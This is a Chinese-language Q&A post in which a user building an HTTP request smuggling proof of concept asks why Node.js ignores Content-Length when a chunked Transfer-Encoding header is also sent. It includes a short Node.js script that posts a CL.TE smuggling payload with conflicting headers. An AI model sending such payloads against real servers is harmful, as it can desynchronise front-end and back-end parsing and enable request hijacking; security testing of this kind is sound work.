如何解决为什么在Transfer-Encoding:分块标题存在时,Node.js忽略Content-Length标题?
我正在http-request-smuggling
的POC上工作,前端服务器使用Content-Length
标头,后端服务器使用transfer-encoding
标头。
但是当请求标头中同时存在两个Content-Length & transfer-encoding: chunked
标头时,Node.js会忽略Content-Length标头,因此响应为500 Internal Server Error。
const request = require('request');
const header = {
'Connection': 'keep-alive','Content-Type': 'application/x-www-form-urlencoded','Content-Length': 6,'transfer-encoding': 'chunked'
}
var payload = `\r\n0\r\n\r\nQ`;
request.post({
headers: header,url: url,body: payload
},function (error,response,body) {
console.log(body);
});
响应-500内部服务器错误
Node.js是否存在任何问题,能否让我知道如何使此POC正常工作?
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。